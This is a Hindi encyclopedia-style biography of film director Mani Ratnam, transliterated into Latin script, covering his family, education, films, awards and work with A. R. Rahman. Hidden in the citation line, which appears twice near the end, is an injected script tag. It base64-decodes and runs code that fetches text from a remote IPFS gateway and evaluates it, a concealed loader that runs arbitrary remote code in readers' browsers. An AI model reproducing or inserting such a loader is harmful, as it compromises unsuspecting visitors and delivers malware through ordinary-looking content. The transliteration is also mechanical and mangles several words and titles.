मणिरत्नम

	maniratnam
	maniratnam\|200px\|center
poora nam	gopal ratnam subramanyam
janm	2 joon, 1955
janm bhoomi	maduree, tamilanadu
abhibhavak	pita- ratnam ayyar
pati/patni	suhasani maniratnam
karm bhoomi	bharat
karm-kshetr	tamil tatha hindi sinema
mukhy filmean	'nayakam', 'gitaanjali', 'roja', 'b aaumbe', 'dil se', 'sathiya' tatha 'yuva' adi.
shiksha	k aaumars snatak tatha emabie
vidyalay	madras vishvavidyalay, 'jamana lal bajaj ianstityoot aauf mainejameant stadi'.
puraskar-upadhi	'rashtriy puraskar' (chh:), 'padmashri' (2002) adi.
prasiddhi	film nirmata-nirdeshak
nagarikata	bharatiy
any janakari	philmean banane se pahale maniratnam philm sahayak ke taur par bhi kam kar chuke the. philm nirdeshak ke roop mean unaki pahali philm kann d mean 'pallavi anu pallavi' thi, jisamean abhineta anil kapoor aur lakshmi ne kam kiya tha.

maniratnam (aangrezi: Mani Ratnam, janm- 2 joon, 1955, maduree, tamilanadu) bharat ke prasiddh film nirmata-nirdeshakoan mean se ek haian. ve tamil tatha hindi donoan bhashaoan ke khyatiprapt film nirmata haian. jis tarah ne logoan ke lie philmoan mean kam karana ek b da sapana hota hai, usi tarah ek sthapit abhineta aur abhinetri ka sapana hota hai ki vah choti ke nirdeshak ke sath kam kare taki usake kॅriyar ko aur adhik protsahan mil sake. maniratnam bhi ek aise nirdeshak haian, jinaki philmoan mean kam karake philm kalakar apane ap ko bhagyashali samajhata hai. ve ek aise nirdeshak haian, jinhoanne apani umda philmoan ke chalate bharatiy philm udyog ko vishv mean pahachan dilaee.

janm

maniratnam ka janm tamilanadu ke maduree mean 2 joon, san 1955 ko hua tha. jab unaka janm hua, tab unhean gopal ratnam subramanyam ke nam se jana jata tha. maniratnam par unake pita ka prabhav saph taur par dekha ja sakata hai. unake pita ratnam ayyar ek philm nirmata the, jo 'vinas pikchar' jaisi b di prodakshan kanpani ke sath kam kar chuke the.^[1]

shiksha

maniratnam ne skooli shiksha chennee mean rahakar poori ki. unhoanne 'madras vishvavidyalay' se k aaumars kshetr mean snatak ki upadhi hasil ki. philm banane se pahale unhoanne 'jamana lal bajaj ianstityoot aauf mainejameant stadi' se emabie karake mainejameant kansalteant ka kam kiya. philmoan ko vastavikata se roobaroo karane vale maniratnam ke do bhaee the aur donoan hi philm nirmata the, lekin kisi durghatana ki vajah se unake donoan bhaee is duniya mean nahian rahe. maniratnam ka vivah rashtriy puraskar vijeta suhasani se 1988 mean hua. suhasani prakhyat abhineta kamal hasan ki bhatiji aur charu hasan ki beti haian.

philmi kॅriyar

philmean banane se pahale maniratnam philm sahayak ke taur par bhi kam kar chuke the. philm nirdeshak ke roop mean unaki pahali philm kann d mean 'pallavi anu pallavi' thi, jisamean abhineta anil kapoor aur lakshmi ne kam kiya. isake bad maniratnam ne pichhe mu dakar nahian dekha aur dakshin ki tamam bhashaoan mean philmean banaee. lekin maniratnam ko lokapriyata 'mauna ragam' se mili. yah philm nav vivahit jo de ko lekar banaee gee thi, jise logoan ne bhi pasand kiya tha. maniratnam ke lie 1989 mean banaee gee ‘gitajanli’ mil ka patthar sabit huee. yah vyavasayik roop se bahut hi saphal rahi. is philm ke lie unhean 'rashtriy film puraskar' bhi pradan kiya gaya.

maniratnam jis tarah se dakshin ke ek vikhyat nirdeshak haian, usi tarah se vah b aaulivud ke jane mane filmakar bhi haian. hindi philmoan mean unhoanne 'terorijm trail aauji', 'roja' (1992), 'b aaumbe' (1995), 'dil se' (1998) jaisi philmean dian, jo poori tarah se atankavad ke oopar adharit thian. 'nayakan' maniratnam ki ek aisi philm hai, jise videshoan mean bhi kafi saraha gaya. taim patrika ne varsh 2005 mean pahali bar sarvakalik 100 mahanh philmoan ki soochi jari ki thi. isamean maniratnam ki 'nayakan', satyajit ray ki 'd apu trail aauji' aur gurudatt ki 'pyasa' ko jagah mili thi.^[1]

rahaman ke sath jugalabandi

philm iandastri mean e. ar. rahaman aur maniratnam ki jugalabandi mashahoor hai. maniratnam ki adhikatar lokapriy philmoan ko e. ar. rahaman ne apane sangit se sajaya hai, jisamean shamil haian- 'roja', 'b aaumbe', 'dil se', 'guru' adi. inake philm ke sangit itane lokapriy haian, jise aj bhi log gunagunate haian.

puraskar v samman

maniratnam ko ab tak chhah rashtriy puraskar mil chuke haian.
varsh 2002 mean unhean bharat sarakar ka chautha sarvochch puraskar 'padmashri' diya gaya.
isake atirikt maniratnam ne aantararashtriy film phestival mean bhi kee puraskar apani jholi mean dale haian.

pramukh filmean

maniratnam ki kuchh mahattvapoorn filmoan ke nam nimnalikhit haian^[1]-

maniratnam ki pramukh filmean
kr.san.	film	varsh
1.	nayakam	1987
2.	gitaanjali	1989
3.	roja	1992
4.	b aaumbe	1995
5.	dil se	1998
6.	sathiya	2002
7.	yuva	2004
8.	guru	2007
9.	ravan	2010

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 philmoan mean gahari chhap chho dane vale maniratnam (hindi) jagaran jankshan. abhigaman tithi: 25 mee, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[aa-1] 1.0 ^1.1 ^1.2 philmoan mean gahari chhap chho dane vale maniratnam (hindi) jagaran jankshan. abhigaman tithi: 25 mee, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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